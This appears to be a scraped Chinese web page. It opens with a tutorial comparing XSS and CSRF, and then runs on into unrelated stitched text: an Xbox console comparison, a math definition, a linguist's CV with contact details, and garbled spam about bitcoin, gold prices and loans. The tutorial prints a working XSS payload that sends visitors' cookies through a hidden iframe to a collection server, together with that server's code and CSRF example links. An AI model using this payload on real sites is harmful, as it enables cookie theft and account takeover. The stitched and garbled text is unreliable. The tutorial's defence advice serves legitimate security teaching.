在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
跨站脚本注入的信息收集服务器
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的 *** 处理,简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本更低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,更好的 *** 是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问:
http://example.com/bbs/create_post.php?title=标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 *** 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求 *** ,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF,这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
之一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、 *** 的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“ *** ”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌 *** ,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。
XSX性能强,XSS价钱便宜
我个人的实际使用体验是相差不大,可能是我并不太在意画质。如果你追求4K UHD尽可能高渲染分辨率的情况下,XSX可以做到稳定60甚至是120,XSS只能是低渲染分辨率60-120或者高渲染分辨率稳30,两机器都很稳定,少量作品偶尔掉帧或者特定场景掉帧。但是如果不是4K UHD的情况下,你用1080p输出,那么XSX和XSS几乎完全没有区别,因为渲染1080p分辨率是基本功,不过要注意有些xboxone游戏在XSS上运行的版本是Xboxone S的版本,大概是900p的渲染,不是机能问题,是作品问题。玩X|S作品,XSS更高能做到4K60hz,还要什么自行车?“
权限控制 以及SQL注入、CSRF跨站脚本攻击、XSS漏洞分别在URL参数、表单中的攻击,Session超时等,这主要是web系统的安全测试
设置个中间差。
在数学中,一个函数是描述每个输入值对应唯一输出值的这种对应关系,符号通常为f(x)。在英文中读作f of x,但在中文中则常读作fx。其中x为自变量,y=f(x)为因变量(或称应变量)。包含某个函数所有的输入值的 *** 被称作这个函数的定义域,包含所有的输出值的 *** 被称作值域。
个人档案
曹志耘,男,汉族,Email:caozy@blcu.edu.cn
帕维尔的导师
《语言教学与研究》杂志编辑部
主 编: 曹志耘
邮 编:100083 地址:北京市海淀区学院路15号北京语言大学语言研究所(主楼11层)
*** :010-82303570
《语言教学与研究》编辑部, *** 82303575,主楼1118室。
1961年6月出生于浙江省金华县(今金华市婺城区)。
1978年10月至1982年7月,山东大学中文系汉语言文学专业本科,获文学学士学位。
1982年9月至1985年7月,山东大学中文系现代汉语专业硕士研究生,获文学硕士学位。
2000年,山东大学文学院汉语言文字学专业博士研究生,获文学博士学位。
1985年8月至1996年6月,山东大学中文系任教。
1996年7至今,北京语言大学任教。首批新世纪百千万人才工程国家级人选,教育部全国高校优秀青年教师奖获得者,国务院 *** 特殊津贴获得者。
主要学术职务:
北京语言大学教授
语言学及应用语言学专业博士研究生导师
语言研究所所长
《语言教学与研究》杂志主编
北京市高等学校青年学科带头人
中国语言学会理事
中国民族语言学会理事
中国社会语言学会理事
获奖情况:
1988年,论文《金华汤溪方言的词法特点》获得“中国社会科学院青年语言学家奖金”
1997年,专著《严州方言研究》获得“北京大学王力语言学奖金”
1999年,专著《金华方言词典》(作为《现代汉语方言大词典》分卷之一)获得国家图书奖荣誉奖,全国辞书一等奖
2001年,获得教育部全国高校优秀青年教师奖
2004年,入选首批新世纪百千万人才工程国家级人选
科研项目:
1.汉语方言地图集(教育部“十五”规划),主持人
2.汉语方言地理学研究(北语“十五”规划),主持人
3.吴语婺州方言群•瓯江方言群の调查研究(日本学术振兴会平成14年度基盘研究B海外,研究代表者:秋谷裕幸),参加者
4.当代北京话应用研究(北京市“十五”规划),主持人
学术成果:
一 著作
1988 《山东人学习普通话指南》(合著),山东大学出版社
1989 《齐鲁文化大辞典》(合著,方言卷主编),山东教育出版社
1991 《中国语言学要籍解题》(参著),齐鲁书社
1992a 《应用汉语教程》(参著),北京语言学院出版社
1992b 《广告语言艺术》,湖南师范大学出版社
1992c 《肥城县志》第三十五编“方言”(合著),齐鲁书社
1992d 《社会语言学概论》(参著),湖南教育出版社
1993a 《诸城市志》第二十三篇“民俗”第二章“方言”(合著),山东人民出版社
1993b 《中国文化语言学辞典》(参著),四川人民出版社
1994 《语言差异与文化心理——中外语言的文化学透视》,河北人民出版社
1996a 《中国民俗语言学》(参著),上海文艺出版社
1996b 《严州方言研究》,[日本]好文出版
1996c 《金华方言词典》,江苏教育出版社
1997 《沂南县志》第三十一篇“方言”(罗福腾、曹志耘合著),齐鲁书社
1998 《广告语言教程》(参著),陕西人民教育出版社
1999a 《应用语言学理论纲要》(参著),华语教学出版社
1999b 《山东普通话培训测试指南》(合著,副主编),语文出版社
2000 《吴语处衢方言研究》(曹志耘、秋谷裕幸、太田斋、赵日新合著),[日本]好文出版
2002a 《南部吴语语音研究》,商务印书馆
2002b 《诸城方言志》(钱曾怡、曹志耘、罗福腾合著),吉林人民出版社
2003 《汉语方言地图集调查手册》(北京语言大学语言研究所合著),澳门语言学会
2004 《北京语言大学汉语语言学文萃·方言卷》(主编),北京语言大学出版社
2005 《浙南七县市吴方言音系》(讨论稿)(秋谷裕幸、曹志耘、黄晓东、刘祥柏、蔡嵘合著),日本学术振兴会平成14-16年度基盘研究(B)“吴语婺州方言群·瓯江方言群の调查研究”研究报告
二 论文
1981 汤溪话的几个语音问题,《一九八一年“五四”学生科学讨论会得奖论文集(社会科学版)》,第22-49页,山东大学
1984 山东诸城五莲方言的声韵特点(合写),《中国语文》第3期,第186-191页
1985a 山东平度方言内部的语音异同(合写),《方言》第3期,第214-221页
1985b 金华方言的几种句式,《山东大学研究生首届科学讨论会论文集(文科版)》,第110-113页,山东大学研究生处
1986 北京话语音里的性别差异,《汉语学习》第6期,第31页
1987a 数词趣谈,[香港]《普通话》第2期,第75-77页
1987b 金华汤溪方言的词法特点,《语言研究》第1期,第85-101页
1987c 汉语方言研究的思考,《山东大学学报(哲社版)》第1期,第40-45转77页
1987d 北京话tþ组声母的前化现象,《语言教学与研究》第3期,第84-91页
1987e 语气词运用的性别差异,《语文研究》第3期,第44-45转43页
1987f 河北省东南部三十九县市方音概况(合写),《方言》第3期,第173-178页
1988a 由“饮茶”想到的词汇对译问题,[香港]《普通话》第1期,第90-92页
1988b 金华方言的句法特点,《中国语文》第4期,第281-285页
1988c 沂水方言的语法特点,[山东省语言学会]《语言学通讯》第11期,第212-220页
1989a 命名与方言、普通话,[香港]《普通话》第1期,第75-76页
1989b 方言学和社会语言学,《汉语研究论集》第174-181页,中国矿业大学出版社
1989c 费县方言记略(合写),《临沂师专学报》第4期,第93-101页
1990a 金华汤溪方言帮母端母的读音,《方言》第1期,第42-43页
1990b 广告的语言艺术,《现代交际》第2期,第14页
1991a *** 命名中存在的问题及其对策,《语言·社会·文化》(首届全国社会语言学学术讨论会论文集)第472-481页,语文出版社
1991b 山东方言与社会文化二题(合写),《山东大学学报(哲社版)》第1期,第6-10页
1991c 汉语汉字对广告的制约性,《首届中国国际广告研讨会论文集》第120-122页
1991d 商标语言初探,《语文建设》第7期,第2-8页
1991e 山东肥城方言的语音特点(合写),《方言》第3期,第182-187页
1991f 济南方言若干声母的分布和演变——济南方言定量研究之一,《语言研究》第2期,第36-44页
1992a 山东诸城方言的语法特点(合写),《中国语文》第1期,第52-55页
1992b 古汉语在交际中的应用,《现代交际》第6期,第38页
1992c 广告语言与社会文化(上),《国际广告》第2期,第25-26页
1992d 广告语言与社会文化(下),《国际广告》第3期,第18-20页
1992e 人名研究的新收获——《文化的镜象——人名》评介,《语文建设》第8期,第48转29页
1992f 社会文化对广告语言的制约性例谈,《现代交际》第10期,第22页
1993a 金华汤溪方言词汇(一),《方言》第1期,第69-80页
1993b 金华汤溪方言词汇(二),《方言》第2期,第158-160页
1993c 广告写作中的“化用”手法,《语文建设》第2期,第28-29页
1993d 一字千金广告语,《现代文秘》第2期,第36转32页
1993e 谈谈广告语的创作,《现代文秘》第3-4期合刊,第58转63页
1993f 汉语方言的人类语言学研究,《黄河学刊》第1期,第36-39页
1993g 广告语言的基本要求,《言语交际与交际语言》(第二届全国社会语言学学术讨论会论文集)第331-343页,江西高校出版社
1993h 汉语方言区、方言岛和混合语的文化语言学考察,《语言与文化多学科研究》(第三届全国社会语言学学术讨论会论文集)第244-252页,北京语言学院出版社
1993i 古代的语言准则与古代广告的语言风格,《现代文秘》第12期,第32-33页
1994a 我国广告语言风格的取向,《现代文秘》第1期,第47-48页
1994b 广告语言研究面临的课题:深化和实用化,《语言文字应用》第1期,第21-23页
1994c 口彩初探,《民俗研究》第3期,第41-43页
1994d 金华方言词典引论,《方言》第4期,第252-267页
1995a 我国广告语言风格的回顾与反思,《中国广告年鉴》(1992—1993年),第180-184页,新华出版社
1995b 广告文案写作中的几个问题,《语言文字应用》第1期,第19-23页
1995c 广告文案风格谈(上),《现代文秘》第1期,第23-24转36页
1995d 广告文案风格谈(下),《现代文秘》第2期,第29-31转36页
1995e 让口语登上大雅之堂——评《现代汉语常用口语词典》(合写),《新闻出版导刊》第6期,第58页
1996a 略论语讳的类型与构成,《韶关大学学报》第1期,第99-104页
1996b 金华汤溪方言的体,《动词的体》(中国东南方言比较研究丛书第二辑)第285-301页,香港中文大学中国文化研究所吴多泰中国语文研究中心
1997a 严州方言语音特点,《语言研究》第1期,第86-95页
1997b 浙江的九姓渔民,《中国文化研究》第3期,第72-79页
1997c 汉语混合语考察,北京语言文化大学文化学院编《语言与文化论丛》之一辑,第43-62页,华语教学出版社
1997d 谈谈方言与地域文化的研究,《语言教学与研究》第3期,第71-77页
1997e 金华汤溪方言的动词谓语句,《动词谓语句》(中国东南方言比较研究丛书第三辑),第39-57页,暨南大学出版社
1997f 语言学视野下的新安文化论纲,周绍泉、赵华富主编《’95国际徽学学术讨论会论文集》,第294-298页,安徽大学出版社
1997g 山东峄城方言民俗词汇——婚育、丧葬、称谓,[日本]《中国语学研究·开篇》第16期,第10-22页
1998a 敦煌方言的声调,《语文研究》第1期,第11-15页
1998b 浙江庆元方言音系(秋谷裕幸、曹志耘合写),《方言》第1期,第23-36页
1998c 《山歌》语法特点初探,[日本]《亚细亚言语论丛》第2辑,第69-80页
1998d 汉语方言声调演变的两种类型,《语言研究》第1期,第89-99页
1998e 浙江遂安方言的声调,林华编《第九届北美洲汉语语言学研讨会论文集》第18-34页,美国南加州大学
1998f 浙江云和方言音系(太田斋、曹志耘合写),《方言》第4期,第290-303页
1998g 汉语方言里表示动作次序的后置词,《语言教学与研究》第4期,第17-37页
1998h 保存还是消灭:汉语方言面临的选择,《中国民族语言学会通讯》第4期,第4-9页
1999a 方言与地域文化研究的对象和 *** ——读《福建方言》有感,《语文研究》第2期,第45-48页
1999b 严州方言的代词系统,《代词》(中国东南部方言比较研究丛书第四辑),第126-144页,暨南大学出版社
1999c 生存还是消亡:汉语方言面临的抉择,《世纪之交的中国应用语言学》,第139-148页,华语教学出版社
1999d 浙江九姓渔民方言的语音特点,《汉语现状与历史的研究——首届汉语语言学国际研讨会文集》,第274-286页,中国社会科学出版社
1999e 二十世纪汉语方言的发展变化——历史和地域的角度,[日本]《中国语学研究·开篇》第19期,第92-99页
2000a 对21世纪语言研究的几点想法,《语言教学与研究》第1期,第7-9页
2000b 山西偏关方言音系(曹志耘、张燕来合写),《首届官话方言国际学术讨论会论文集》,第73-78页,青岛出版社
2000c 金华汤溪方言的介词,《介词》(中国东南部方言比较研究丛书第五辑),第60-77页,暨南大学出版社
2000d 北京话研究的回顾与展望(曹志耘、张世方合写),《世纪之交的应用语言学》,北京广播学院出版社
2000e 汉语方言里表示动作次序的后置词,《面临新世纪挑战的现代汉语语法研究》,第767-778页,山东教育出版社
2001a 关于濒危汉语方言问题,《语言教学与研究》第1期,第8-12页
2001b 金华汤溪方言的“得”,《语言研究》第2期,第23-29页
2001c 梅祖麟教授访谈录,《语言教学与研究》第4期,第1-9页(中国人民大学《语言文字学》转载)
2001d 南部吴语的小称,《语言研究》第3期,第33-44页
2001e 青海乐都方言音系(曹志耘、邵朝阳合写),《方言》第4期,第373-383页
2002a 老枝新芽:中国地理语言学研究展望,《语言教学与研究》第3期,第1-6页
2002b 东南方言里动词的后置成分,《东方语言与文化》,东方出版中心
2002c 南部吴语语音的共性和差异,《闽语研究及其与周边方言的关系》,[香港]中文大学出版社
2002d 吴徽语入声演变的方式,《中国语文》第5期,第441-446页
2002e 中国社会语言学大有可为——在首届社会语言学国际学术研讨会上的总结发言,《语言教学与研究》 第6期,第11-12页
2003a 南部吴语的全浊声母,上海市语文学会、香港中国语文学会合编《吴语研究——第二届国际吴方言学 术研讨会论文集》,第218-222页,上海教育出版社
2003b 浙江金华珊瑚村方言状况,《中国社会语言学》第1期,第9-18页
2004a 汉语方言中的韵尾分调现象,《中国语文》第1期,第40-45页
2004b 老枝新芽:中国地理语言学研究展望,《21世纪的中国语言学》(一),商务印书馆
2004c 浙江金华珊瑚客家话音系,《方言》第3期,第200-211页
2004d 从方言看女书(曹志耘、赵丽明合写),《中国社会语言学》第2期
By:xujunfu *** :53990388
Email:i_o72@yahoo.com.cn
XSS是获取信息,不需要提前知道其他用户页面的代码和数据包。CSRF是代替用户完成指定的动作,需要知道其他用户页面的代码和数据包。要完成一次CSRF攻击,受害者必须依次完成两个步骤:
登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。
CSRF的防御
服务端的CSRF方式 *** 很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。通过验证码的 *** 。
by三人行慕课
正在网上购水车票否以选坐位了 一 二 三0 六脚机APP支撑 正在线选座功效 二0 一 七年 一0月 一 二日 一0: 二 五做者:王瑞编纂 :王瑞文章没处:泡泡网本创 分享 昨天,南京天铁微专账号宣布 新闻 ,克日 起经由过程 一 二 三0 六购置 动车组列车车票否...
OKEx比特币生意业务 所的脚绝费寰球最低.点击,本日 此时比特币价钱 二 三 四 九元,您当然否以一个一个的售没,缘故原由 您懂的。 如今 是 四0- 五0阁下 。比特币是来博门的生意业务 仄台生意 的,p/ 二0 一 一0 六 二0/ 二 六-有 一 七 六 二 八 二0 九jpg,杂外文的,...
的省油,消费者申报 ,尔同伙 车有封辰R 五0主动 的,空间要年夜 , 七万的裸车价,当然,我们去看看是哪十款?三菱Mirage百私面油耗 六,R 五0的脚动或者主动 吧。 的.满是 十分合适 的。岂论 正在哪一个档位。 一点 六油耗 八个之内,乡市综折油耗掌握 正在 七点 三出甚么答题 L致炫歉...
各金店本日 黄金价钱 查询:本日 黄金价钱 若干 钱一克 二0 一 六年0 七月 一0日0 九: 三 一: 四 一更新,第一个非农, 二 九 九点00周熟熟饰品金价,按国际金价收买,黄金生意业务 价钱 支柱正在一 二 五 九元阁下 ,本日 海内 尾copy饰金、克阁下 ;环融投资金条收受接管 价是 ...
个月便可入止私积金住房贷款。是私积金账户余额的 一0- 二0倍。借有你的年纪 。没有娶亲 弗成 以,私积金贷款额度的计较 。 。治理 中间 征询德律风 入止具体 征询,要依据 借贷才能 、依照 现止的划定 ,算没的最小值便是乞贷 人最下否贷数额。四个前提 算没,尔念正在临沂用私积金贷款购房但是 贷款...
【西安咸阴群众否收费看爱偶艺 一个月】其真前些日子劣酷也上线了“西安群众收费看”限时收费私损铺播运动 (露咸阴)。 那波操做有点相似 于鸿星我克捐钱 行为 ,当然每一野的作法战力度皆纷歧 样。没有 晓得会有更多望频网站跟入吗必修 【西安咸阴群众否收费看爱偶艺 一个月】 一月 七日,爱偶艺VIP...